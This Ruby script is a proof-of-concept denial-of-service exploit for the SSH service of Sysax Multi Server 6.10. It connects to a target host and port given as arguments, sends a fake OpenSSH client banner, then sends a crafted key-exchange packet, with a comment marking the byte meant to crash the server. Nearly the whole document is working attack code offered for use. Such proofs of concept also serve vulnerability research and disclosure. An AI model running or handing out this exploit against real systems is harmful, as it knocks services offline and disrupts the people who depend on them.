#!/usr/bin/env ruby
# Sysax Multi Server 6.10 SSH DoS
# Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html

require 'socket'

unless ARGV.length == 2
  puts "Usage: ruby #{$0} [host] [port]\n"
  exit
end

packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
  0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
  0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,
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  #3rd byte in this next line causes crash
  0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
  0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
  0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62,
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  0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70,
  0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
  0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,
  0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.open(host, port)

banner = sock.gets()
puts banner

sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n")
sock.puts(packet)
resp = sock.gets()

sock.close()